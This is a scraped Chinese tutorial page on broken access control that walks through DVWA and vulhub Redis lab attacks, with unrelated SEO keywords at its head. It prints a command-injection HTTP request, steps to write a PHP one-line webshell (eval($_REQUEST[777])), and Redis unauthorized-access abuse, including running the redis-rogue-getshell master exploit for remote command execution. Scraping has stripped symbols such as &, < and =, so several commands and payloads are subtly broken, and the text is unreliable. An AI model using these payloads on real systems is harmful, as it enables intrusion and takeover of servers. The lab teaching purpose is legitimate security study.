手机网站页面制作,wordpress小程序课程,广告联盟建设个人网站,做婚礼网站的公司简介失效的访问控制(越权)
1. 失效的访问控制(越权)
1.1 OWASP TOP10
1.1.1 A5:2017-Broken Access Control
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据#xff0c;例如#xff1a;访问其他用户的帐户、查看敏感文件、修改其…失效的访问控制(越权)
1. 失效的访问控制(越权)
1.1 OWASP TOP10
1.1.1 A5:2017-Broken Access Control
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据例如访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
1.1.2 A01:2021-Broken Access Control
访问控制强制实施策略使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。
1.2 失效的访问控制类别
权限移动方向
1.2.1 水平越权
越权大概率指的是在同级别账户之间横向移动并且大概率指的是web应用
1.2.2 垂直越权
提权大概率指的是操作系统漏洞提权普通用户获取管理员权限
1.3 攻防案例
1.3.1 DVWA越权
POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8 Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age0
Content-Type: application/x-www-form-urlencoded Content-Length: 77ip127.0.0.0.1|echo?phpeval($_REQUEST[777])?shell.phpSubmitSubmit
1.3.1.1 实操
在部署了DVWA的服务器中打开C盘-打开phpstudy-打开WWW-打开DV我们关心的是config全局配置hackable(在hackable中有flags被包含的文件upload上传的文件)vulnerabilities(漏洞点)
启动bp打开浏览器访问DVWA点击命令注入Commod Injection 进行命令注入输入127.0.0.1
使用bp进行抓包抓取命令注入的数据包发送重发器 发现结果执行了ping命令ping的是127.0.0.1说明此处有命令拼接可执行额外的命令。做命令拼接执行命令的逻辑
command1 command2 #执行command1命令没有问题的时候再执行command2
command1 | command2 #管道符执行command1的结果作为command2的输入
command1 || command2 #command1执行失败则执行command2command1执行成功则不执行command2
command1 ; command2 #command1执行结束再执行command2执行额外命令使用进行分隔因为原本数据包中已有那么进行命令分隔的需要进行url编码选中分隔命令的按Ctrlu 点击发送send 发现cookie中security的值是low说明是初级的承载初级的脚本在vulnerabilities下的exec中的source文件中 打开low.php查看源代码整个文件没有做访问控制限制也就是说在退出登录的情况下依然能访问low.php。 复制low.php的路径退出DVWA登陆访问
http://192.168.16.136/dv/vulnerabilities/exec/source/low.php界面为空针对这个界面就可以进行命令执行。bp找到当前页面的数据包发送重发器点击发送(send)页面没有做任何响应。 删除cookie并将数据提交方式改为POST右键点击Change request method同时传两个变量ip127.0.0.1%26whoamiSubmitSubmit。首先给一个submit保证绕过low.php代码中的if判断再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。 返回的结果也无法判断命令执行成功与否将whoami命令更换为calc打开计算器部署dvwa靶场的服务器中弹出计算器说明命令执行成功。 dvwa要求是需要用户登录的情况下才能回答dvwa里的题目但是我们刚才的操作时不用登录就回答了dvwa里的题目虽然没有回显但是漏洞检测的时候只关心命令是否执行只要命令执行了不管有没有回显就说明此处就是未授权访问漏洞失效的访问控制。
1.3.1.2 使用漏洞写webshell
执行
echo xujie xujie.txt来到/exec/source目录下有新建的xujie.txt文件。 一般在目标某一目录下新建文件动作会比较大使用dnslog.cn平台点击创建域名对域名进行解析
nslookup 域名解析完成后查看dnslog.cn平台有没有解析记录如果有解析记录说明nslookup执行成功了。
创建一句话木马
echo ?php eval($_REQUEST[777])? shell.php访问shell.php然后使用蚁剑连接 1.4 相关漏洞
1.4.1 目录遍历
目录穿越目录遍历Directory Traversal。.Web用户通过某种方式可以访问Web根目录以外的文件甚至执行系统命令。
造成目录遍历漏洞的原因
文件包含文件读取RCE
1.4.2 未授权访问
未授权访问Unauthorized Access。重要资产根本没有做访问控制限制导致黑客攻击者可以在没有授权的情况下操作重要资产包括读写文件执行命令等敏感操作。
2. 未授权访问
2.1 Redis 未授权访问
不使用账号密码的情况下访问数据库Redis 未授权由于数据库未授权访问了导致敏感数据泄露数据库能够读写文件利用未授权访问漏洞进行漏洞攻击的话就可以去写shell创建SSH公钥计划任务反弹shell
2.1.1 Redis 介绍
Redis是非关系型数据库系统没有库表列的逻辑结构仅仅以键值对的方式存储数据。
Redis数据库经常用于Web应用的缓存。
Redis可以与文件系统进行交互。
Redis监听TCP/6379
Redis数据库端口号6379
2.1.2 Redis 简单使用
Redis 未设置密码客户端工具可以直接链接。
┌──(ajest zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379 set name AJEST OK
127.0.0.1:6379 get name AJEST
127.0.0.1:6379 config set dir /tmp/
OK
127.0.0.1:6379 config set dbfilename ajest.txt OK
127.0.0.1:6379 save OK
127.0.0.1:63792.1.3 Redis 未授权访问
读取数据库内容读写系统文件执行系统命令数据泄露直接写WebShell计划任务反弹shellSSH免密登录redis-rogue-getshell
2.2 Redis 实操
2.2.1 环境搭建
CD到/vulhub/redis/4-unacc目录下输入
sudo docker-compose up -d打开Redis环境 2.2.2 漏洞利用
sudo docker ps -a查看端口号 输入
redis-cli -h 127.0.0.1 #-h指定参数连接本机的reids数据库在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。 redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。
config set dir /tmp/
config set dbfilename xujie.txt #将数据库存储在xujie.txt文件中这个文件在tmp下因为连接的是docker容器的数据库CD到容器中查看创建的数据库是否存在。
sudo docker exec -it 9a4f956818dc /bin/bash #-it是指容器的id/bin/bash是指登录到9a4f956818dc这个容器为了证明创建的数据库是否存在并且具有读写权限。
ls /tmp
cat /tmp/xujie.txt4-unacc存在主从复制漏洞而主从复制是可以执行系统命令的执行系统命令需要一个Exploit脚本 cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.gitcd redis-rogue-getshell
cd RedisModulesSDK
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c idpython3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c whoami此处可以针对数据库的漏洞进行漏洞利用
2.2.3 漏洞检测
利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测
cd ~/tools
ls
cd unauthorized_com
python3 unauthorized_com.py -i 127.0.0.1